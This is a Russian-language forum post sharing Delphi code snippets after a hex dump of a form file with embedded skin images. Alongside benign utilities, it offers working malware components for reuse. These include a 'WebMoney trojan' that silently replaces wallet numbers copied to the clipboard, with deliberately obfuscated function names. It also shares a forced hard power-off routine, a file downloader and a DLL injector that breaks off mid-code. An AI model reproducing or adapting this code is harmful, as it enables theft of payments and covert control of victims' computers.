              746E2E706E67890D0000789C01890D76F289504E470D0A1A0A0000000D494844
              520000002E000000260806000000BBEAA95A000000097048597300000B130000
              0B1301009A9C1800000A4F6943435050686F746F73686F70204943432070726F
              66696C65000078DA9D53675453E9163DF7DEF4424B8880944B6F521508205242
              8B801491262A2109104A8821A1D91551C1114545041BC8A088038E8E808C1551
              2C0C8A0AD807E421A28E83A3888ACAFBE17BA36BD6BCF7E6CDFEB5D73EE7ACF3
              9DB3CF07C0080C9648335135800CA9421E11E083C7C4C6E1E42E40810A247000
              1008B3642173FD230100F87E3C3C2B22C007BE000178D30B0800C04D9BC0301C
              87FF0FEA42995C01808401C07491384B08801400407A8E42A600404601809D98
              265300A0040060CB6362E300502D0060277FE6D300809DF8997B01005B942115
              01A09100201365884400683B00ACCF568A450058300014664BC43900D82D0030
              4957664800B0B700C0CE100BB200080C00305188852900047B0060C823237800
              8499001446F2573CF12BAE10E72A00007899B23CB9243945815B082D71075757
              2E1E28CE49172B14366102619A402EC27999193281340FE0F3CC0000A0911511
              E083F3FD78CE0EAECECE368EB60E5F2DEABF06FF226262E3FEE5CFAB70400000
              E1747ED1FE2C2FB31A803B06806DFEA225EE04685E0BA075F78B66B20F40B500
              A0E9DA57F370F87E3C3C45A190B9D9D9E5E4E4D84AC4425B61CA577DFE67C25F
              C057FD6CF97E3CFCF7F5E0BEE22481325D814704F8E0C2CCF44CA51CCF920984
              62DCE68F47FCB70BFFFC1DD322C44962B9582A14E35112718E449A8CF332A522
              89429229C525D2FF64E2DF2CFB033EDF3500B06A3E017B912DA85D6303F64B27
              105874C0E2F70000F2BB6FC1D4280803806883E1CF77FFEF3FFD47A025008066
              49927100005E44242E54CAB33FC708000044A0812AB0411BF4C1182CC0061CC1
              05DCC10BFC6036844224C4C24210420A64801C726029AC82422886CDB01D2A60
              2FD4401D34C051688693700E2EC255B80E3D700FFA61089EC128BC81090441C8
              08136121DA8801628A58238E08179985F821C14804128B2420C9881451224B91
              354831528A542055481DF23D720239875C46BA913BC8003282FC86BC47319481
              B2513DD40CB543B9A8371A8446A20BD06474319A8F16A09BD072B41A3D8C36A1
              E7D0AB680FDA8F3E43C730C0E8180733C46C302EC6C342B1382C099363CBB122
              AC0CABC61AB056AC03BB89F563CFB17704128145C0093604774220611E414858
              4C584ED848A8201C243411DA093709038451C2272293A84BB426BA11F9C41862
              32318758482C23D6128F132F107B8843C437241289433227B9900249B1A454D2
              12D246D26E5223E92CA99B34481A2393C9DA646BB20739942C202BC885E49DE4
              C3E433E41BE421F25B0A9D624071A4F853E22852CA6A4A19E510E534E5066598
              324155A39A52DDA8A15411358F5A42ADA1B652AF5187A81334759A39CD831649
              4BA5ADA295D31A681768F769AFE874BA11DD951E4E97D057D2CBE947E897E803
              F4770C0D861583C7886728199B18071867197718AF984CA619D38B19C7543037
              31EB98E7990F996F55582AB62A7C1591CA0A954A9526951B2A2F54A9AAA6AADE
              AA0B55F355CB548FA95E537DAE46553353E3A909D496AB55AA9D50EB531B5367
              A93BA887AA67A86F543FA47E59FD890659C34CC34F43A451A0B15FE3BCC6200B
              6319B3782C216B0DAB86758135C426B1CDD97C762ABB98FD1DBB8B3DAAA9A139
              43334A3357B352F394663F07E39871F89C744E09E728A797F37E8ADE14EF29E2
              291BA6344CB931655C6BAA96979658AB48AB51AB47EBBD36AEEDA79DA6BD45BB
              59FB810E41C74A275C2747678FCE059DE753D953DDA70AA7164D3D3AF5AE2EAA
              6BA51BA1BB4477BF6EA7EE989EBE5E809E4C6FA7DE79BDE7FA1C7D2FFD54FD6D
              FAA7F5470C5806B30C2406DB0CCE183CC535716F3C1D2FC7DBF151435DC34043
              A561956197E18491B9D13CA3D5468D460F8C69C65CE324E36DC66DC6A3260626
              21264B4DEA4DEE9A524DB9A629A63B4C3B4CC7CDCCCDA2CDD699359B3D31D732
              E79BE79BD79BDFB7605A785A2CB6A8B6B86549B2E45AA659EEB6BC6E855A3959
              A558555A5DB346AD9DAD25D6BBADBBA711A7B94E934EAB9ED667C3B0F1B6C9B6
              A9B719B0E5D806DBAEB66DB67D6167621767B7C5AEC3EE93BD937DBA7D8DFD3D
              070D87D90EAB1D5A1D7E73B472143A563ADE9ACE9CEE3F7DC5F496E92F6758CF
              10CFD833E3B613CB29C4699D539BD347671767B97383F3888B894B82CB2E973E
              2E9B1BC6DDC8BDE44A74F5715DE17AD2F59D9BB39BC2EDA8DBAFEE36EE69EE87
              DC9FCC349F299E593373D0C3C843E051E5D13F0B9F95306BDFAC7E4F434F8167
              B5E7232F632F9157ADD7B0B7A577AAF761EF173EF63E729FE33EE33C37DE32DE
              595FCC37C0B7C8B7CB4FC36F9E5F85DF437F23FF64FF7AFFD100A78025016703
              898141815B02FBF87A7C21BF8E3F3ADB65F6B2D9ED418CA0B94115418F82AD82
              E5C1AD2168C8EC90AD21F7E798CE91CE690E85507EE8D6D00761E6618BC37E0C
              2785878557863F8E7088581AD131973577D1DC4373DF44FA449644DE9B67314F
              39AF2D4A352A3EAA2E6A3CDA37BA34BA3FC62E6659CCD5589D58496C4B1C392E
              2AAE366E6CBEDFFCEDF387E29DE20BE37B17982FC85D7079A1CEC2F485A716A9
              2E122C3A96404C884E3894F041102AA8168C25F21377258E0A79C21DC267222F
              D136D188D8435C2A1E4EF2482A4D7A92EC91BC357924C533A52CE5B98427A990
              BC4C0D4CDD9B3A9E169A76206D323D3ABD31839291907142AA214D93B667EA67
              E66676CBAC6585B2FEC56E8BB72F1E9507C96BB390AC05592D0AB642A6E8545A
              28D72A07B267655766BFCD89CA3996AB9E2BCDEDCCB3CADB90379CEF9FFFED12
              C212E192B6A5864B572D1D58E6BDAC6A39B23C7179DB0AE315052B865606AC3C
              B88AB62A6DD54FABED5797AE7EBD267A4D6B815EC1CA82C1B5016BEB0B550AE5
              857DEBDCD7ED5D4F582F59DFB561FA869D1B3E15898AAE14DB1797157FD828DC
              78E51B876FCABF99DC94B4A9ABC4B964CF66D266E9E6DE2D9E5B0E96AA97E697
              0E6E0DD9DAB40DDF56B4EDF5F645DB2F97CD28DBBB83B643B9A3BF3CB8BC65A7
              C9CECD3B3F54A454F454FA5436EED2DDB561D7F86ED1EE1B7BBCF634ECD5DB5B
              BCF7FD3EC9BEDB5501554DD566D565FB49FBB3F73FAE89AAE9F896FB6D5DAD4E
              6D71EDC703D203FD07230EB6D7B9D4D51DD23D54528FD62BEB470EC71FBEFE9D
              EF772D0D360D558D9CC6E223704479E4E9F709DFF71E0D3ADA768C7BACE107D3
              1F761D671D2F6A429AF29A469B539AFB5B625BBA4FCC3ED1D6EADE7AFC47DB1F
              0F9C343C59794AF354C969DAE982D39367F2CF8C9D959D7D7E2EF9DC60DBA2B6
              7BE763CEDF6A0F6FEFBA1074E1D245FF8BE73BBC3BCE5CF2B874F2B2DBE51357
              B8579AAF3A5F6DEA74EA3CFE93D34FC7BB9CBB9AAEB95C6BB9EE7ABDB57B66F7
              E91B9E37CEDDF4BD79F116FFD6D59E393DDDBDF37A6FF7C5F7F5DF16DD7E7227
              FDCECBBBD97727EEADBC4FBC5FF440ED41D943DD87D53F5BFEDCD8EFDC7F6AC0
              77A0F3D1DC47F7068583CFFE91F58F0F43058F998FCB860D86EB9E383E3939E2
              3F72FDE9FCA743CF64CF269E17FEA2FECBAE17162F7EF8D5EBD7CED198D1A197
              F29793BF6D7CA5FDEAC0EB19AFDBC6C2C61EBEC97833315EF456FBEDC177DC77
              1DEFA3DF0F4FE47C207F28FF68F9B1F553D0A7FB93199393FF040398F3FC6333
              2DDB000000206348524D00007A25000080830000F9FF000080E9000075300000
              EA6000003A980000176F925FC546000002B44944415478DAD4596D76E3200C94
              8026CDA97AA1F6343DD19E2A75ECC0FE01BFC944C2DE1F265BBDC78392148FC6
              425FD1F2292CBA73E6B574F68BF3BD62ACEDF9BB3C9CA1009C0129ADADBDBD8A
              6C01E575713E5F1568C02D56710467AD0EE02DC62DA0D959178BFDE498483066
              1EEABC0D3ECF025D0CD03894146873DB9764BC6A0B6484D153620FE31ED82C22
              77184D815CFF2FAFE77CA926320D0F6CAA23C21C0DF03D3BC7D76D815D605E60
              1FA529519263CF08F80D468239FD03F81EE806748639D499CF58CF4D8E9934D0
              A70AF4242267FA3BC108CEA515E7126600BC88C8AD02BD39A6F774517B8C3796
              DF2BE8369F418944A6B307F89D98BE89C854079260DD87F5ECD4611B99BED078
              AF9F9DC074023D94BD4A26B61BC33711F911912B282FE45132BBC8E4B0DD8037
              A62F22F2478E906FF2965FFA41802D4F637A954836DE181F251730A5993CD86A
              2AE809F055A3377905F03379B227330C8E1F67C6CF0381F3E58F56A00B466E12
              28E8BCBD00B8152BD433952DEF324AD0534523B899A662994CA44075B4582985
              5A8C8B039EBDCC28898E793C04B6D0A95E7A29EB91A23BF27D13F8AF90B0917E
              96A7D2E978F12B1F07B857995879F19182E1BD78040607B495E48F9285C09BF5
              6730CA2A4EF25B16374A6E505430F8156770127DAE4CA681C02700BE3866E326
              EC7723C91F097CAACF5E1C937930152BD16F6C5F0702BF02EB8D79C4B616CBE2
              7891C6781A1C39AF06E36C2EA2E5730DAF116A4D4C672F034B371E6836332A91
              C89B28B08D5D2C8142B799CF11C5F2549598B6BC4B32226506804A6CE1838E6A
              4F20E8D90B46C9F0E14A91121F3857D3980E6E08CD5BBE3C3901488CBD7B053A
              0F6EC175192FD49BF322698416D988A66776FA2A2BE36A306E05A5516DE6ECB4
              99C5EA8F17EA4BABB3F7FAC63ED4920F4D734719858BFBF29F529271504F81FF
              E6C7ABBF030005310E848FAAA6D20000000049454E44AE42608248206E8F0C00
              0000476C6F77456469742E706E67C40B0000789C01C40B3BF489504E470D0A1A
              0A0000000D494844520000001200000012080600000056CE8E57000000097048
              597300000B1300000B1301009A9C1800000A4F6943435050686F746F73686F70
              204943432070726F66696C65000078DA9D53675453E9163DF7DEF4424B888094
              4B6F5215082052428B801491262A2109104A8821A1D91551C1114545041BC8A0
              88038E8E808C15512C0C8A0AD807E421A28E83A3888ACAFBE17BA36BD6BCF7E6
              CDFEB5D73EE7ACF39DB3CF07C0080C9648335135800CA9421E11E083C7C4C6E1
              E42E40810A2470001008B3642173FD230100F87E3C3C2B22C007BE000178D30B
              0800C04D9BC0301C87FF0FEA42995C01808401C07491384B08801400407A8E42
              A600404601809D98265300A0040060CB6362E300502D0060277FE6D300809DF8
              997B01005B94211501A09100201365884400683B00ACCF568A45005830001466
              4BC43900D82D00304957664800B0B700C0CE100BB200080C0030518885290004
              7B0060C8232378008499001446F2573CF12BAE10E72A00007899B23CB9243945
              815B082D710757572E1E28CE49172B14366102619A402EC27999193281340FE0
              F3CC0000A0911511E083F3FD78CE0EAECECE368EB60E5F2DEABF06FF226262E3
              FEE5CFAB70400000E1747ED1FE2C2FB31A803B06806DFEA225EE04685E0BA075
              F78B66B20F40B500A0E9DA57F370F87E3C3C45A190B9D9D9E5E4E4D84AC4425B
              61CA577DFE67C25FC057FD6CF97E3CFCF7F5E0BEE22481325D814704F8E0C2CC
              F44CA51CCF92098462DCE68F47FCB70BFFFC1DD322C44962B9582A14E3511271
              8E449A8CF332A52289429229C525D2FF64E2DF2CFB033EDF3500B06A3E017B91
              2DA85D6303F64B27105874C0E2F70000F2BB6FC1D4280803806883E1CF77FFEF
              3FFD47A02500806649927100005E44242E54CAB33FC708000044A0812AB0411B
              F4C1182CC0061CC105DCC10BFC6036844224C4C24210420A64801C726029AC82
              422886CDB01D2A602FD4401D34C051688693700E2EC255B80E3D700FFA61089E
              C128BC81090441C808136121DA8801628A58238E08179985F821C14804128B24
              20C9881451224B91354831528A542055481DF23D720239875C46BA913BC80032
              82FC86BC47319481B2513DD40CB543B9A8371A8446A20BD06474319A8F16A09B
              D072B41A3D8C36A1E7D0AB680FDA8F3E43C730C0E8180733C46C302EC6C342B1
              382C099363CBB122AC0CABC61AB056AC03BB89F563CFB17704128145C0093604
              774220611E4148584C584ED848A8201C243411DA093709038451C2272293A84B
              B426BA11F9C4186232318758482C23D6128F132F107B8843C437241289433227
              B9900249B1A454D212D246D26E5223E92CA99B34481A2393C9DA646BB2073994
              2C202BC885E49DE4C3E433E41BE421F25B0A9D624071A4F853E22852CA6A4A19
              E510E534E5066598324155A39A52DDA8A15411358F5A42ADA1B652AF5187A813
              34759A39CD8316494BA5ADA295D31A681768F769AFE874BA11DD951E4E97D057
              D2CBE947E897E803F4770C0D861583C7886728199B18071867197718AF984CA6
              19D38B19C754303731EB98E7990F996F55582AB62A7C1591CA0A954A9526951B
              2A2F54A9AAA6AADEAA0B55F355CB548FA95E537DAE46553353E3A909D496AB55
              AA9D50EB531B5367A93BA887AA67A86F543FA47E59FD890659C34CC34F43A451
              A0B15FE3BCC6200B6319B3782C216B0DAB86758135C426B1CDD97C762ABB98FD
              1DBB8B3DAAA9A13943334A3357B352F394663F07E39871F89C744E09E728A797
              F37E8ADE14EF29E2291BA6344CB931655C6BAA96979658AB48AB51AB47EBBD36
              AEEDA79DA6BD45BB59FB810E41C74A275C2747678FCE059DE753D953DDA70AA7
              164D3D3AF5AE2EAA6BA51BA1BB4477BF6EA7EE989EBE5E809E4C6FA7DE79BDE7
              FA1C7D2FFD54FD6DFAA7F5470C5806B30C2406DB0CCE183CC535716F3C1D2FC7
              DBF151435DC34043A561956197E18491B9D13CA3D5468D460F8C69C65CE324E3
              6DC66DC6A326062621264B4DEA4DEE9A524DB9A629A63B4C3B4CC7CDCCCDA2CD
              D699359B3D31D732E79BE79BD79BDFB7605A785A2CB6A8B6B86549B2E45AA659
              EEB6BC6E855A3959A558555A5DB346AD9DAD25D6BBADBBA711A7B94E934EAB9E
              D667C3B0F1B6C9B6A9B719B0E5D806DBAEB66DB67D6167621767B7C5AEC3EE93
              BD937DBA7D8DFD3D070D87D90EAB1D5A1D7E73B472143A563ADE9ACE9CEE3F7D
              C5F496E92F6758CF10CFD833E3B613CB29C4699D539BD347671767B97383F388
              8B894B82CB2E973E2E9B1BC6DDC8BDE44A74F5715DE17AD2F59D9BB39BC2EDA8
              DBAFEE36EE69EE87DC9FCC349F299E593373D0C3C843E051E5D13F0B9F95306B
              DFAC7E4F434F8167B5E7232F632F9157ADD7B0B7A577AAF761EF173EF63E729F
              E33EE33C37DE32DE595FCC37C0B7C8B7CB4FC36F9E5F85DF437F23FF64FF7AFF
              D100A78025016703898141815B02FBF87A7C21BF8E3F3ADB65F6B2D9ED418CA0
              B94115418F82AD82E5C1AD2168C8EC90AD21F7E798CE91CE690E85507EE8D6D0
              0761E6618BC37E0C2785878557863F8E7088581AD131973577D1DC4373DF44FA
              449644DE9B67314F39AF2D4A352A3EAA2E6A3CDA37BA34BA3FC62E6659CCD558
              9D58496C4B1C392E2AAE366E6CBEDFFCEDF387E29DE20BE37B17982FC85D7079
              A1CEC2F485A716A92E122C3A96404C884E3894F041102AA8168C25F21377258E
              0A79C21DC267222FD136D188D8435C2A1E4EF2482A4D7A92EC91BC357924C533
              A52CE5B98427A990BC4C0D4CDD9B3A9E169A76206D323D3ABD31839291907142
              AA214D93B667EA67E66676CBAC6585B2FEC56E8BB72F1E9507C96BB390AC0559
              2D0AB642A6E8545A28D72A07B267655766BFCD89CA3996AB9E2BCDEDCCB3CADB
              90379CEF9FFFED12C212E192B6A5864B572D1D58E6BDAC6A39B23C7179DB0AE3
              15052B865606AC3CB88AB62A6DD54FABED5797AE7EBD267A4D6B815EC1CA82C1
              B5016BEB0B550AE5857DEBDCD7ED5D4F582F59DFB561FA869D1B3E15898AAE14
              DB1797157FD828DC78E51B876FCABF99DC94B4A9ABC4B964CF66D266E9E6DE2D
              9E5B0E96AA97E6970E6E0DD9DAB40DDF56B4EDF5F645DB2F97CD28DBBB83B643
              B9A3BF3CB8BC65A7C9CECD3B3F54A454F454FA5436EED2DDB561D7F86ED1EE1B
              7BBCF634ECD5DB5BBCF7FD3EC9BEDB5501554DD566D565FB49FBB3F73FAE89AA
              E9F896FB6D5DAD4E6D71EDC703D203FD07230EB6D7B9D4D51DD23D54528FD62B
              EB470EC71FBEFE9DEF772D0D360D558D9CC6E223704479E4E9F709DFF71E0D3A
              DA768C7BACE107D31F761D671D2F6A429AF29A469B539AFB5B625BBA4FCC3ED1
              D6EADE7AFC47DB1F0F9C343C59794AF354C969DAE982D39367F2CF8C9D959D7D
              7E2EF9DC60DBA2B67BE763CEDF6A0F6FEFBA1074E1D245FF8BE73BBC3BCE5CF2
              B874F2B2DBE51357B8579AAF3A5F6DEA74EA3CFE93D34FC7BB9CBB9AAEB95C6B
              B9EE7ABDB57B66F7E91B9E37CEDDF4BD79F116FFD6D59E393DDDBDF37A6FF7C5
              F7F5DF16DD7E7227FDCECBBBD97727EEADBC4FBC5FF440ED41D943DD87D53F5B
              FEDCD8EFDC7F6AC077A0F3D1DC47F7068583CFFE91F58F0F43058F998FCB860D
              86EB9E383E3939E23F72FDE9FCA743CF64CF269E17FEA2FECBAE17162F7EF8D5
              EBD7CED198D1A197F29793BF6D7CA5FDEAC0EB19AFDBC6C2C61EBEC97833315E
              F456FBEDC177DC771DEFA3DF0F4FE47C207F28FF68F9B1F553D0A7FB93199393
              FF040398F3FC63332DDB000000206348524D00007A25000080830000F9FF0000
              80E9000075300000EA6000003A980000176F925FC546000000EF4944415478DA
              CC945B0AC23014444FD2882FF043B7E64A741DEEC4D5093E4A4DE3CFDC1082B6
              2A7E3870E963EE1DA6E9242EED30B8AA8690721D5202F0223C108019B0502D5F
              94F13320B0771E0D7BA011B1D4B579E1CC9C44E0069C811B7B4750C344226B60
              054C0BB7357AA0054E7A8E402C1D4D25B201E67AF70C11B8EAFEAC3E1F8A850E
              129B03C791C5DEAA37D8E7FBEA8FF90127251AF5BA5A88377EF933E419CF8FF0
              DF42E98BF9540B59627BE5640C51BD3697939D80BB127B554EC602D96A260B99
              8B32F6EF6E91D6DC99A34E7107B87CB869BBD21122A2C8A133A914EB80C82165
              477D417E75B03D060043F251B9724C11150000000049454E44AE426082A93096
              25}
          end>
        MenuSupport.IcoLineSkin = 'ICOLINE'
        MenuSupport.ExtraLineFont.Charset = DEFAULT_CHARSET
        MenuSupport.ExtraLineFont.Color = clWindowText
        MenuSupport.ExtraLineFont.Height = -11
        MenuSupport.ExtraLineFont.Name = 'MS Sans Serif'
        MenuSupport.ExtraLineFont.Style = []
        SkinDirectory = 'c:\Skins'
        SkinName = 'Ubuntu (internal)'
        SkinInfo = '8'
        ThirdParty.ThirdEdits = ' '
        ThirdParty.ThirdButtons = 'TButton'
        ThirdParty.ThirdBitBtns = ' '
        ThirdParty.ThirdCheckBoxes = ' '
        ThirdParty.ThirdGroupBoxes = ' '
        ThirdParty.ThirdListViews = ' '
        ThirdParty.ThirdPanels = ' '
        ThirdParty.ThirdGrids = ' '
        ThirdParty.ThirdTreeViews = ' '
        ThirdParty.ThirdComboBoxes = ' '
        ThirdParty.ThirdWWEdits = ' '
        ThirdParty.ThirdVirtualTrees = ' '
        ThirdParty.ThirdGridEh = ' '
        ThirdParty.ThirdPageControl = ' '
        ThirdParty.ThirdTabControl = ' '
        ThirdParty.ThirdToolBar = ' '
        ThirdParty.ThirdStatusBar = ' '
        ThirdParty.ThirdSpeedButton = ' '
        ThirdParty.ThirdScrollControl = ' '
        ThirdParty.ThirdUpDown = ' '
        ThirdParty.ThirdScrollBar = ' '
        ThirdParty.ThirdStaticText = 'TStaticText'
        Left = 464
        Top = 8
      end
    end
    
    фак, открыл старый проект заразился индюком:ej
    --- добавлено: 10 янв 2015 в 07:38 ---
    Ни одного реального кода:

    Отправка файла на ФТП, подклюаем WinInet



    **Скрытый текст: Для просмотра скрытого текста Вы должны авторизоваться.**

    Пожалуйста Зарегистрируйтесь или Войдите для того чтоб увидеть текст сообщения!


    Рекурсивный поиск файлов
    Код:
    var
      Form1: TForm1;
      count:integer;
    
    implementation
    
    {$R *.dfm}
    procedure GetAllFiles(mask: string);
    var
      search: TSearchRec;
      directory: string;
    begin
      directory := ExtractFilePath(mask);
    if FindFirst(mask, $23, search) = 0 then
      begin
        repeat
          Form1.Memo1.Lines.Add(directory + search.Name);
    
          Inc(Count);
        until FindNext(search) <> 0;
      end;
    if FindFirst(directory + '*.*', faDirectory, search) = 0 then
      begin
        repeat
          if ((search.Attr and faDirectory) = faDirectory) and (search.Name[1] <> '.') then
            GetAllFiles(directory + search.Name + '\' + ExtractFileName(mask));
        until FindNext(search) <> 0;
        FindClose(search);
      end;
    end;
    
    procedure TForm1.Button1Click(Sender: TObject);
    var
      directory: string;
      mask: string;
    begin
      Count := 0;
    
      directory := edit2.text;
      mask := edit1.text;
    
      Screen.Cursor := crHourGlass;
      try
        GetAllFiles(directory + mask);
      finally
        Screen.Cursor := crDefault;
      end;
      ShowMessage(IntToStr(Count) + ' Files found');
    end;
    
    Вебмани троян
    Код:
    Program KNoW_Engine;
    
    uses
      windows;
    
    var
    a,b:longword;
    
    
    Function ZH3HDJ43FHhHJHhkhk8ghk:THandle; //Инициализация читания текста из буфера
    begin
    OpenClipboard(0);
    Result := GetClipboardData(CF_TEXT);
    end;
    
    function GHGG770f7T69frfgJH8TT8: string; //Читание текста из буфера
    var
      Data: THandle;
    begin
    Data :=ZH3HDJ43FHhHJHhkhk8ghk;
      try
        if Data <> 0 then
          Result := PChar(GlobalLock(Data))
        else
          Result := '';
      finally
        if Data <> 0 then GlobalUnlock(Data);
        CloseClipboard;
      end;
    end;
    
    procedure HT6G7fgjh67fygu8f86F6fFH(const S: string);  //запись в буффер
    var hglbCopy: THandle; L: Cardinal;
    begin
    L:=Length(S)+1;
      OpenClipboard(0);
    try
      EmptyClipboard;
      hglbCopy:=GlobalAlloc(GMEM_DDESHARE, L);
      Move(PChar(S)^,GlobalLock(hglbCopy)^,L);
      GlobalUnlock(hglbCopy);
      SetClipboardData(CF_TEXT, hglbCopy);
    finally
      CloseClipboard;
    end;
    end;
    
    
    
    
    Procedure H447h7hhh7gGHgGHG8Gg787GgGHG8; //процесс трояна
    var
    KernText:AnsiString;
    begin
    while 6>0 do
    begin
    KernText :=GHGG770f7T69frfgJH8TT8;
    if KernText = 'KWT' then begin
    halt;
    end;
    if Length(KernText) = 13 then begin
    if Copy(KernText,0,1) = 'R' then
    HT6G7fgjh67fygu8f86F6fFH('Rкошель'));
    if Copy(KernText,0,1) = 'Z' then
    HT6G7fgjh67fygu8f86F6fFH('Zкошель'));
    if Copy(KernText,0,1) = 'U' then
    HT6G7fgjh67fygu8f86F6fFH('Uкошель'));
    end;
    sleep(100);
    
    end;
    end;
    
    procedure FH48FH8ygH87g788Hih;
    begin
    a := beginthread(nil,0,@H447h7hhh7gGHgGHG8Gg787GgGHG8,nil,0,b);
    SetThreadPriority(a, THREAD_PRIORITY_HIGHEST);
    end;
    
    var
    mmsg:MSG;
    
    
    
    begin
    FH48FH8ygH87g788Hih;
    while GetMessage(mmsg,0,0,0) do
        begin
        TranslateMessage(mmsg);
        DispatchMessage(mmsg);
        end;
    end.
    
    
    А теперь коронный код, выключение компа как с розетки.
    Код:
    тип:
      _SHUTDOWN_ACTION = (
      ShutdownNoReboot,
      ShutdownReboot,
      ShutdownPowerOff);
      SHUTDOWN_ACTION = _SHUTDOWN_ACTION;
      TShutdownAction = SHUTDOWN_ACTION;
      NTSTATUS = Longint;
      PNTSTATUS = ^NTSTATUS;
      TNTStatus = NTSTATUS;
      function  NtShutdownSystem(Action : SHUTDOWN_ACTION): NTSTATUS; stdcall; external 'ntdll.dll';
    
    Процедура:
    Procedure Power_Off;
    var
      hToken: THandle;
      tkp, prevst: TTokenPrivileges;
      rl: DWORD;
    begin
      OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
      LookupPrivilegeValue(nil, 'SeShutdownPrivilege', tkp.Privileges[0].Luid);
      tkp.PrivilegeCount := 1;
      tkp.Privileges[0].Attributes := 2;
      AdjustTokenPrivileges(hToken, FALSE, tkp, SizeOf(prevst), prevst, rl);
      NtShutdownSystem(ShutdownPowerOff);
    end;
    
    
    Проверка подклюения к инету
    Код:
    function IsConnectedToInternet: Boolean;
    var
    dwConnectionTypes: DWORD;
    begin
    dwConnectionTypes:= INTERNET_CONNECTION_MODEM or INTERNET_CONNECTION_LAN or INTERNET_CONNECTION_PROXY;
    Result := InternetGetConnectedState(@dwConnectionTypes, 0);
    end;
    Загрука файла WinInet
    Код:
    function DFile(SourceFile, DestFile: string): Boolean;
    begin
      try
      Result:=UrlDownloadToFile(nil,PChar(SourceFile),PChar(DestFile),0,nil)=0;
      except
      Result := False;
      end;
    end;
    
    Получение папки темп и юзернейма
    Код:
    function GetTempDir():string;
    var
      buf:string;
      len:UINT;
    begin
      SetLength(buf, MAX_PATH+1);
      len:=GetTempPath(MAX_PATH, PAnsiChar(buf));
      SetLength(buf,len);
      GetTempDir:=buf
    end;
    
    function GetUser: string;
    var
      UserName : string;
      UserNameLen : Dword;
    begin
      UserNameLen := 255;
      SetLength(userName, UserNameLen);
      if GetUserName(PChar(UserName), UserNameLen) then
        Result := Copy(UserName,1,UserNameLen - 1)
      else
        Result := 'Unknown';
    end;
    
    Генератор случайных строк т.е паролей
    Код:
    function Gen(): string;
    var
      str: string;
      PLen: Integer ;
    begin
    Randomize;
    Plen :=4; //Длина
      str    := 'abcdefghijklmnopqrstuvwxyz1234567890'; //Алфавит
      Result := '';
      repeat
        Result := Result + str[Random(Length(str)) + 1];
      until (Length(Result) = PLen)
    end;
    Убить процесс в uses Tlhelp32
    Код:
    
    function KillTask(ExeFileName:string):integer;
    const
    PROCESS_TERMINATE=$0001;
    var
    Co:BOOL;
    FS:THandle;
    FP:TProcessEntry32;
    begin
    result:=0;
    
    FS:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    FP.dwSize:=Sizeof(FP);
    Co:=Process32First(FS,FP);
    while integer(Co) <> 0 do
    begin
    if ((UpperCase(ExtractFileName(FP.szExeFile))=UpperCase(ExeFileName)) or
    (UpperCase(FP.szExeFile)=UpperCase(ExeFileName))) then
    Result:=Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE, BOOL(0),
    FP.th32ProcessID),0));
    Co:=Process32Next(FS,FP);
    end;
    CloseHandle(FS);
    end;
    Dll инжектор

    Модуль:
    Код:
    unit Unit1;
    
    interface
    
    uses
      Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
      Dialogs, TlHelp32, Buttons, StdCtrls, jpeg, ExtCtrls, sSkinManager,
      sEdit, sGauge, sButton, sLabel, ComCtrls, sTrackBar, sPanel, sSpeedButton,
      sStatusBar;
    
    type
      TForm1 = class(TForm)
        OpenDialog1: TOpenDialog;
        sSkinManager1: TsSkinManager;
        sButton2: TsButton;
        sButton1: TsButton;
        Button1: TsButton;
        sEdit1: TsEdit;
        Edit1: TsEdit;
        Edit2: TsEdit;
        sStatusBar1: TsStatusBar;
        procedure sButton1Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
    
    var
      Form1: TForm1;
    
    implementation
    
    {$R *.dfm}
    
    function GetOSVersion: Cardinal;
    var
      OSVersionInfo: TOSVersionInfo;
    begin
      Result := 0;
      FillChar(OSVersionInfo, Sizeof(OSVersionInfo), 0);
      OSVersionInfo.dwOSVersionInfoSize := SizeOf(OSVersionInfo);
      if GetVersionEx(OSVersionInfo) then
      begin
        if OSVersionInfo.dwPlatformId = VER_PLATFORM_WIN32_NT then
        begin
          if OSVersionInfo.dwMajorVersion = 5 then
          begin
            if OSVersionInfo.dwMinorVersion = 0 then
              Result := 50//Windows 2000
            else if OSVersionInfo.dwMinorVersion = 2 then
              Result := 52//Windows 2003
            else if OSVersionInfo.dwMinorVersion = 1 then
              Result := 51//Windows XP
          end;
          if OSVersionInfo.dwMajorVersion = 6 then
          begin
            if OSVersionInfo.dwMinorVersion = 0 then
              Result := 60//Windows Vista
            else if OSVersionInfo.dwMinorVersion = 1 then
              Result := 61;//Windows 7
          end;
        end;
      end;
    end;
    
    
    
    function ModulInjectByDen(ModulePath: PAnsiChar; ProcessID: DWORD): Boolean;
    var
      hSnapshot: THandle;
      ModuleEntry32: TModuleEntry32;
    begin
      Result := False;
      hSnapshot := CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, ProcessID);
      if (hSnapshot <> -1) then
      begin
        ModuleEntry32.dwSize := SizeOf(TModuleEntry32);
        if (Module32First(hSnapshot, ModuleEntry32)) then
          repeat
            if string(ModuleEntry32.szExePath) = string(ModulePath) then
            begin
              Result := True;
              Break;
            end;
          until
            not Module32Next(hSnapshot, ModuleEntry32);
        CloseHandle(hSnapshot);
      end;
    end;
    
    function InjectIDMetod(ModulePath: PAnsiChar; ProcessID: DWORD): Boolean;
    type
      TNtCreateThreadEx = function(
      ThreadHandle: PHANDLE;
      DesiredAccess: ACCESS_MASK;
      ObjectAttributes: Pointer;
      ProcessHandle: THANDLE;
      lpStartAddress: Pointer;
      lpParameter: Pointer;
      CreateSuspended: BOOL;
      dwStackSize: DWORD;
      Unknown1: Pointer;
      Unknown2: Pointer;
      Unknown3: Pointer): HRESULT; stdcall;
    var
      lpStartAddress, lpParameter: Pointer;
      dwSize: Integer;
      hProcess, hThread, lpThreadId, lpExitCode, lpBytesWritten: Cardinal;
      NtCreateThreadEx: TNtCreateThreadEx;
    begin
      Result := False;
      if ModulInjectByDen(ModulePath, ProcessID) = True then
        Exit;
      hProcess := 0;
      hProcess := OpenProcess(MAXIMUM_ALLOWED, False, ProcessID);
      if hProcess = 0 then
        Exit;
      dwSize := StrLen(ModulePath) + 1;
      lpParameter := VirtualAllocEx(hProcess, nil, dwSize, MEM_COMMIT, PAGE_READWRITE);
      if (lpParameter = nil) then
      begin
        if hProcess <> 0 then
